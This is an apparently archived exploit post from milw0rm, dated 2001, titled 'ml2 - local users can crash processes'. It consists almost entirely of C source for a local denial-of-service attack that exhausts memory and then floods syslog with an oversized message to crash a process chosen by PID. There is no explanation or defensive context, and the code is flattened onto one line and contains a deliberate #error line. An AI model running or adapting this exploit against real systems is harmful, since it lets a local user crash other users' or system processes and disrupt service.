ml2 - local users can crash processes

#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <syslog.h> #error int main(int argc, char **argv) { char foo[1000]; char bigmsg[10000]; char *s, *hold_s; int i = 0; memset(bigmsg, 'X', sizeof(bigmsg)-1); if (argc < 2) { printf("usage: %s <pid to kill>\n", argv[0]); exit(1); } // fork(); memset(foo, 0, sizeof(foo)); snprintf(foo, sizeof(foo), "/proc/%s/stat", argv[1]); while (access(foo, F_OK) == 0) { s = malloc(10000); if (s == NULL) { if (hold_s) free(hold_s); /* if (s) s[i%10000] = 0; */ printf("crashing ... \n"); openlog("b00m", 0, 0); syslog(1, bigmsg); closelog(); } printf("%d\r", i++); fflush(stdout); hold_s = s; } return 0; } // milw0rm.com [2001-01-03]